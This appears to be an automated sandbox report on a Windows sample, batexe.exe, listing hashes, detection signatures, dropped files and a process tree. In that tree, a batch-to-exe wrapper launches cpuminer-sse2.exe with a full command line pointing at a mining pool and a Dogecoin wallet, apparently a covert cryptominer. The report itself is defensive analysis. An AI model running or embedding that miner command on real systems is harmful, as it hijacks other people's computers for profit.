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Analysis

  • max time kernel
    293s
  • max time network
    299s
  • platform
    windows10-1703_x64
  • resource
    win10-20240214-ja
  • resource tags

    arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
  • submitted
    17/02/2024, 12:53

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4020
    • C:\Users\Admin\AppData\Local\Temp\950C.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\950C.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\950C.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2108
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\96D1.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4324
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4420

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\950C.tmp\b2e.exe

    Filesize

    69KB

    MD5

    8b04ebfab505b07e91862cab796a83b8

    SHA1

    367fc4987f269df2fcf068c40b8034bfee6b8a54

    SHA256

    c1f1366d7d474303004cfffd356961f7d7784fcd205fee22c127ab8bc1ec7834

    SHA512

    62e9be2cca9c13c692a114a75245713b0918cc5c5f1209b8def64d42b8ea9e5523bc0edb4763d196ff886fbd2ff3781ad7804e69110fe054dfcb8b51a6e57f39

  • C:\Users\Admin\AppData\Local\Temp\950C.tmp\b2e.exe

    Filesize

    12.7MB

    MD5

    3ab7a22103b9fc545da585ec223d07ad

    SHA1

    60bad8bd5709155fb5ea0c585065b3737988c9c4

    SHA256

    809220182c5f9a1a29884d6a893246fbe0737bdd7a37f12c90c16c8179c1404b

    SHA512

    390c044a78441da152c086d5ec27c113a281e2e67ae161f89000fcc4585d6809860b2ef0e9ff9006ed1bb2a421e8a1520bdad840f54a3b886ba3a0fd8815124b

  • C:\Users\Admin\AppData\Local\Temp\96D1.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    2.3MB

    MD5

    4c04147c386ba8792ac6a03069572a8a

    SHA1

    dda67789fc1d0f2469ca95f01a5c81034853ca6a

    SHA256

    c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

    SHA512

    a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    8.6MB

    MD5

    973273f5d30d6150be1cddb217db6591

    SHA1

    2350cbe66a49b1d2969130a7d59f418fbf76992f

    SHA256

    c7d3b6618b04e76e6d41cc69de2021ad60025ecb46d873985af0964ee49c1924

    SHA512

    d36e74921092f9aa2e2eac5da39041f5fb1955431c9f075c38d37e035c051d8e37c985d79ec2d0e311d03d3a6d1b3197845347c3fcbf1f2c5d4bd74b46e00d28

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • \Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    14.2MB

    MD5

    029abcbb49119d62a9c996a71111b1b8

    SHA1

    bb442276b34f5445955233819e29460f1db3cb52

    SHA256

    77efa636880a2907dc3336810bce1384480e95dbba331a24bd4e93ad5ea3c6e5

    SHA512

    f78fab0391927a11cd5a672aca54ec2eef9db4603a995dca88a430aa07ace3264f9b9b87125c243c94d56fd4c5b6972e13f9f5dbfc3bc13a8aa8f34b38af6d01

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    14.1MB

    MD5

    3ca817d1a831014efb53450653c6a04f

    SHA1

    4eceb283eda77205edbe35b7278fbd5411e56750

    SHA256

    fc387f8d40d41b6e7feaa1edda62280a0e7f3245a516f85c6bc752a824a94e4b

    SHA512

    c7024da468437bf902be048d1227c9471625039cb8b6cb24396a4656c505f5ae6c86c5390bb5cf567b0278257b7eb86daae83526e38cda9fccc85073d9c400bf

  • memory/2108-5-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/2108-50-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/4020-6-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/4420-41-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/4420-61-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4420-43-0x0000000074ED0000-0x0000000074F68000-memory.dmp

    Filesize

    608KB

  • memory/4420-44-0x0000000001120000-0x00000000029D5000-memory.dmp

    Filesize

    24.7MB

  • memory/4420-45-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4420-40-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4420-51-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4420-42-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/4420-66-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4420-71-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4420-76-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4420-81-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4420-86-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4420-91-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4420-96-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4420-101-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB